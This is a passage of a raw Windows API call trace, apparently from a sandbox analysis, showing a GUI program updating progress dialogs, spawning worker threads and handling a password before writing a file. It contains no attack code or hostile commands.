(Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1162e7f4e50 [0081.020] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888680 | out: hHeap=0x1162e7c0000) returned 1 [0081.020] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f4e50 | out: hHeap=0x1162e7c0000) returned 1 [0081.021] GetTickCount () returned 0x2a118 [0081.021] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17234931677) returned 1 [0081.021] RtlWakeAllConditionVariable () returned 0x7ff931fa6090 [0081.021] GetTickCount () returned 0x2a118 [0081.021] GetLastError () returned 0x0 [0081.021] SetLastError (dwErrCode=0x0) [0081.021] GetDlgItem (hDlg=0x102f8, nIDDlgItem=154) returned 0x1030a [0081.021] GetWindowTextW (in: hWnd=0x1030a, lpString=0x141a0dc310, nMaxCount=2560 | out: lpString="") returned 0 [0081.021] SetWindowTextW (hWnd=0x1030a, lpString="00:00:00") returned 1 [0081.021] RtlWakeAllConditionVariable () returned 0x7ff931fa6090 [0081.021] GetTickCount () returned 0x2a118 [0081.022] GetDlgItem (hDlg=0x102f8, nIDDlgItem=162) returned 0x1030c [0081.022] ShowWindow (hWnd=0x1030c, nCmdShow=0) returned 1 [0081.023] GetDlgItem (hDlg=0x102f8, nIDDlgItem=151) returned 0x1030e [0081.023] ShowWindow (hWnd=0x1030e, nCmdShow=0) returned 1 [0081.023] GetDlgItem (hDlg=0x102f8, nIDDlgItem=151) returned 0x1030e [0081.023] GetWindowTextW (in: hWnd=0x1030e, lpString=0x141a0dc310, nMaxCount=2560 | out: lpString="") returned 0 [0081.023] GetTickCount () returned 0x2a118 [0081.023] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x141a0dd2e8 | out: ppv=0x141a0dd2e8*=0x1162e88aa00) returned 0x0 [0081.024] TaskbarList:ITaskbarList3:SetProgressState (This=0x1162e88aa00, hwnd=0x102f8, tbpFlags=2) returned 0x0 [0081.024] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1162e88aa00, hwnd=0x102f8, ullCompleted=0x5899, ullTotal=0x31d668) returned 0x0 [0081.025] TaskbarList:IUnknown:Release (This=0x1162e88aa00) returned 0x0 [0081.025] GetLastError () returned 0x36b7 [0081.025] SetLastError (dwErrCode=0x36b7) [0081.025] GetDlgItem (hDlg=0x102f8, nIDDlgItem=157) returned 0x1031a [0081.025] GetDlgItem (hDlg=0x102f8, nIDDlgItem=152) returned 0x10318 [0081.025] GetWindowTextW (in: hWnd=0x10318, lpString=0x141a0dbeb0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0081.025] GetLastError () returned 0x36b7 [0081.025] SetLastError (dwErrCode=0x36b7) [0081.025] GetDlgItem (hDlg=0x102f8, nIDDlgItem=164) returned 0x10314 [0081.025] GetWindowTextW (in: hWnd=0x10314, lpString=0x141a0dbeb0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0081.025] ShowWindow (hWnd=0x1031a, nCmdShow=9) returned 1 [0081.025] SendMessageW (hWnd=0x1031a, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0081.026] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0081.026] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0081.026] GetFocus () returned 0x1031c [0081.026] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0081.026] GetPropW (hWnd=0x102f8, lpString="Done") returned 0x0 [0081.026] BeginPaint (in: hWnd=0x102f8, lpPaint=0x141a0dba00 | out: lpPaint=0x141a0dba00) returned 0x10105d6 [0081.026] GetLastError () returned 0x2 [0081.026] SetLastError (dwErrCode=0x2) [0081.026] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0081.026] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0081.026] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0d9c90, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0081.026] ShowWindow (hWnd=0x10304, nCmdShow=9) returned 1 [0081.026] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0081.027] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x141a0db0c8 | out: ppv=0x141a0db0c8*=0x1162e88aa00) returned 0x0 [0081.027] TaskbarList:ITaskbarList3:SetProgressState (This=0x1162e88aa00, hwnd=0x102f8, tbpFlags=2) returned 0x0 [0081.027] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1162e88aa00, hwnd=0x102f8, ullCompleted=0x5899, ullTotal=0x31d668) returned 0x0 [0081.027] TaskbarList:IUnknown:Release (This=0x1162e88aa00) returned 0x0 [0081.028] GetLastError () returned 0x36b7 [0081.028] SetLastError (dwErrCode=0x36b7) [0081.028] GetDlgItem (hDlg=0x102f8, nIDDlgItem=157) returned 0x1031a [0081.028] GetDlgItem (hDlg=0x102f8, nIDDlgItem=152) returned 0x10318 [0081.028] GetWindowTextW (in: hWnd=0x10318, lpString=0x141a0d9c90, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0081.028] GetLastError () returned 0x36b7 [0081.028] SetLastError (dwErrCode=0x36b7) [0081.028] GetDlgItem (hDlg=0x102f8, nIDDlgItem=164) returned 0x10314 [0081.028] GetWindowTextW (in: hWnd=0x10314, lpString=0x141a0d9c90, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0081.028] SendMessageW (hWnd=0x1031a, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0081.028] EndPaint (hWnd=0x102f8, lpPaint=0x141a0dba00) returned 1 [0081.028] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0081.028] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0081.029] GetFocus () returned 0x1031c [0081.029] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0081.029] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1204) returned 0x354 [0081.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1208) returned 0x358 [0081.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x120c) returned 0x35c [0081.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1210) returned 0x360 [0081.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1214) returned 0x364 [0081.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1218) returned 0x368 [0081.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x121c) returned 0x36c [0081.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1220) returned 0x370 [0081.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1224) returned 0x374 [0081.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1228) returned 0x378 [0081.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x122c) returned 0x37c [0081.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1230) returned 0x380 [0081.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1234) returned 0x384 [0081.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1238) returned 0x388 [0081.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x123c) returned 0x38c [0081.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1240) returned 0x390 [0081.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1244) returned 0x394 [0081.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1248) returned 0x398 [0081.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x124c) returned 0x39c [0081.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1250) returned 0x3a0 [0081.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1254) returned 0x3a4 [0081.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1258) returned 0x3a8 [0081.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x125c) returned 0x3ac [0081.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1260) returned 0x3b0 [0081.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1264) returned 0x3b4 [0081.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1268) returned 0x3b8 [0081.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x126c) returned 0x3bc [0081.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1270) returned 0x3c0 [0081.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1274) returned 0x3c4 [0081.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1278) returned 0x3c8 [0081.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x127c) returned 0x3cc [0081.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e89d1e0, dwCreationFlags=0x0, lpThreadId=0x141a0dd820 | out: lpThreadId=0x141a0dd820*=0x1280) returned 0x3d0 [0081.040] ResetEvent (hEvent=0x344) returned 1 [0081.040] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.040] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0081.095] ResetEvent (hEvent=0x344) returned 1 [0081.095] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.095] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0081.102] GetTickCount () returned 0x2a166 [0081.102] GetLastError () returned 0x0 [0081.102] SetLastError (dwErrCode=0x0) [0081.102] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0081.102] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0081.102] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0081.102] SetWindowTextW (hWnd=0x10302, lpString=" 100%") returned 1 [0081.102] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0081.102] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17243097170) returned 1 [0081.102] GetTickCount () returned 0x2a166 [0081.102] GetTickCount () returned 0x2a166 [0081.102] GetTickCount () returned 0x2a166 [0081.102] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0081.102] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0081.103] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x1284) returned 0x3d4 [0081.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x1288) returned 0x3d8 [0081.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x128c) returned 0x3dc [0081.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x1290) returned 0x3e0 [0081.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x1294) returned 0x3e4 [0081.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x1298) returned 0x3e8 [0081.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x129c) returned 0x3ec [0081.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12a0) returned 0x3f0 [0081.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12a4) returned 0x3f4 [0081.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12a8) returned 0x3f8 [0081.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12ac) returned 0x3fc [0081.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12b0) returned 0x404 [0081.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12b4) returned 0x408 [0081.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12b8) returned 0x40c [0081.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12bc) returned 0x410 [0081.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12c0) returned 0x414 [0081.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12c4) returned 0x418 [0081.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12c8) returned 0x41c [0081.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12cc) returned 0x420 [0081.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12d0) returned 0x424 [0081.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12d4) returned 0x428 [0081.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12d8) returned 0x42c [0081.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12dc) returned 0x430 [0081.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12e0) returned 0x434 [0081.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12e4) returned 0x438 [0081.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12e8) returned 0x43c [0081.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12ec) returned 0x440 [0081.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12f0) returned 0x444 [0081.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12f4) returned 0x448 [0081.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12f8) returned 0x44c [0081.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x12fc) returned 0x450 [0081.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1162e8947f0, dwCreationFlags=0x0, lpThreadId=0x141a0dd640 | out: lpThreadId=0x141a0dd640*=0x1300) returned 0x454 [0081.114] ResetEvent (hEvent=0x33c) returned 1 [0081.114] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.114] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0081.705] ResetEvent (hEvent=0x33c) returned 1 [0081.705] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0081.705] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0081.710] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 1 [0081.714] GetMessageW (in: lpMsg=0x141a0dd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd4e0) returned 1 [0081.714] GetFocus () returned 0x1031c [0081.715] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd4e0) returned 1 [0081.715] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0081.715] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x19 [0081.716] SetFilePointer (in: hFile=0x32c, lDistanceToMove=101, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x7e [0081.716] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xc38) returned 0x1163205e460 [0081.716] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0081.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0081.751] CryptProtectMemory (in: pDataIn=0x1162e88ced6, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1162e88ced6) returned 1 [0081.751] WriteFile (in: 